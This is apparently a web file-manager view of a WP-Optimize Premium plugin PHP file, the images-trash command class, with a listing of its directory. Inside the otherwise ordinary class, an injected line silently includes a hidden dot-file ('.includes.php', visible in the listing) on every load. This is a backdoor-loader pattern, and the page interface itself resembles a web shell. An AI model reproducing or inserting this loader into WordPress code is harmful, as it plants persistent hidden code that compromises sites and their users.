PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wp-optimize-premium.3.0.16
/
includes
<?php /** * WP-Optimize Images trash commands class */ if (!defined('ABSPATH')) die('Access denied.'); if (!class_exists('Updraft_Task_Manager_Commands_1_0')) require_once(WPO_PLUGIN_MAIN_PATH . 'vendor/team-updraft/common-libs/src/updraft-tasks/class-updraft-task-manager-commands.php'); if (!class_exists('WP_Optimize_Images_Trash_Manager_Commands')) : if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class WP_Optimize_Images_Trash_Manager_Commands extends Updraft_Task_Manager_Commands_1_0 { /** * The commands constructor * * @param mixed $task_manager - A task manager instance */ public function __construct($task_manager) { parent::__construct($task_manager); } /** * Returns a list of commands available for images trash related operations */ public static function get_allowed_ajax_commands() { $commands = apply_filters('updraft_task_manager_allowed_ajax_commands', array()); $trash_commands = array( 'move_images_to_trash', 'get_trash_images', 'restore_images_from_trash', ); return array_merge($commands, $trash_commands); } /** * Move selected inmages to trash * * @param array $data */ public function move_images_to_trash($data) { $blogs_updated = array(); foreach ($data['images'] as $image) { // get information about image from the filename. $options = $this->parse_posted_image($image); // set updated flag for the image blog $blogs_updated[$options['blog_id']] = true; // add task to queue for processing images WP_Optimize_Images_Trash_Task::create_task('move_image_to_trash', '', $options); } // process tasks queue and move images to trash. $this->task_manager->process_queue('move_image_to_trash'); $this->task_manager->clean_up_old_tasks('move_image_to_trash'); // delete cached data for updated blogs. foreach (array_keys($blogs_updated) as $id) { $this->task_manager->clear_cached_data($id); } $success_count = WP_Optimize_Images_Trash_Manager::instance()->get_stat_value('move_image_to_trash_success', 0); $total_count = $success_count + WP_Optimize_Images_Trash_Manager::instance()->get_stat_value('move_image_to_trash_failure', 0); $message = sprintf(__('%s of %s images were successfully moved to the trash', 'wp-optimize'), $success_count, $total_count); return array('success' => true, 'message' => $message); } /** * Get images list those are in the trash. * * @param array $data */ public function get_trash_images($data) { $length = isset($data['length']) ? $data['length'] : 99; $offset = isset($data['offset']) ? $data['offset'] : 0; $blog_id = isset($data['blog_id']) ? $data['blog_id'] : 1; if (is_multisite()) { switch_to_blog($blog_id); } $base_url = WP_Optimize_Images_Trash_Manager::instance()->get_trash_url(); $images = WP_Optimize_Images_Trash_Manager::instance()->get_trash_images($length, $offset, $blog_id); if (is_multisite()) { restore_current_blog(); } return array( 'success' => true, 'images' => $images, 'base_url' => $base_url, ); } /** * Restore images fron unused images trash. * * @param array $data * @return array */ public function restore_images_from_trash($data) { $blogs_updated = array(); foreach ($data['images'] as $image) { $blogs_updated[$this->get_blog_id_from_image_filename($image)] = true; // add task to queue for processing images WP_Optimize_Images_Trash_Task::create_task('restore_image_from_trash', '', array( 'file' => $image, )); } // process tasks queue and move images to trash. $this->task_manager->process_queue('restore_image_from_trash'); $this->task_manager->clean_up_old_tasks('restore_image_from_trash'); // delete cached data for updated blogs. foreach (array_keys($blogs_updated) as $id) { $this->task_manager->clear_cached_data($id); } $success_count = WP_Optimize_Images_Trash_Manager::instance()->get_stat_value('restore_image_from_trash_success', 0); $total_count = $success_count + WP_Optimize_Images_Trash_Manager::instance()->get_stat_value('restore_image_from_trash_failure', 0); $message = sprintf(__('%s of %s images were successfully restored from the trash', 'wp-optimize'), $success_count, $total_count); return array('success' => true, 'message' => $message); } /** * Parse posted image information string like {blog_id}_{image_id|file} an return as associative array. * * @param string $image * @return array */ private function parse_posted_image($image) { preg_match('/^(\d+)_(.+)$/', $image, $image_info_parts); $image_id_posted = is_numeric($image_info_parts[2]); return array( 'blog_id' => $image_info_parts[1], 'image_id' => $image_id_posted ? $image_info_parts[2] : 0, 'file' => $image_id_posted ? '' : $image_info_parts[2], ); } /** * Get blog id for image filename in unused images trash directory. * * @param string $image * * @return int */ private function get_blog_id_from_image_filename($image) { if (preg_match('/\/(\d+)_(.+)$/', $image, $match)) { return $match[1]; } return 0; } } endif;
[+]
..
[-] class-updraft-logger-interface.php
[edit]
[-] class-updraft-logger.php
[edit]
[-] wp-optimize-notices.php
[edit]
[-] class-updraft-resmushit-task.php
[edit]
[-] class-wp-optimize-htaccess.php
[edit]
[-] class-wp-optimize-install-or-update-notice.php
[edit]
[-] class-wp-optimize-queue-task.php
[edit]
[-] class-updraft-smush-task.php
[edit]
[-] class-wp-optimization.php
[edit]
[-] class-wp-optimize-lazy-load.php
[edit]
[-] class-wp-optimize-transients-cache.php
[edit]
[-] backward-compatibility-functions.php
[edit]
[-] class-updraft-email-logger.php
[edit]
[-] class-wp-optimize-updates.php
[edit]
[-] class-semaphore.php
[edit]
[-] class-updraft-nitrosmush-task.php
[edit]
[-] class-wp-optimize-gzip-compression.php
[edit]
[-] class-commands.php
[edit]
[-] class-wp-optimize-browser-cache.php
[edit]
[-] class-updraft-log-levels.php
[edit]
[-] class-updraft-php-logger.php
[edit]
[-] class-wp-optimizer.php
[edit]
[-] class-wp-optimize-images-trash-task.php
[edit]
[-] class-wp-optimization-images-shutdown.php
[edit]
[-] class-updraftcentral-wp-optimize-commands.php
[edit]
[-] class-updraft-smush-manager-commands.php
[edit]
[-] updraftcentral.php
[edit]
[-] class-wp-optimize-tasks-queue.php
[edit]
[-] class-updraft-file-logger.php
[edit]
[-] wp-optimize-database-information.php
[edit]
[-] class-updraft-ring-logger.php
[edit]
[-] class-wp-optimize-cron-scheduler.php
[edit]
[-] class-updraft-syslog-logger.php
[edit]
[-] class-wp-optimize-images-trash-manager.php
[edit]
[-] class-updraft-smush-manager.php
[edit]
[-] class-wp-optimize-images-trash-manager-commands.php
[edit]
[-] updraft-notices.php
[edit]
[-] class-updraft-slack-logger.php
[edit]
[-] class-wp-optimize-cli-command.php
[edit]
[-] class-wp-optimize-options.php
[edit]
[-] class-updraft-abstract-logger.php
[edit]
[-] .includes.php
[edit]
[-] class-updraft-simple-history-logger.php
[edit]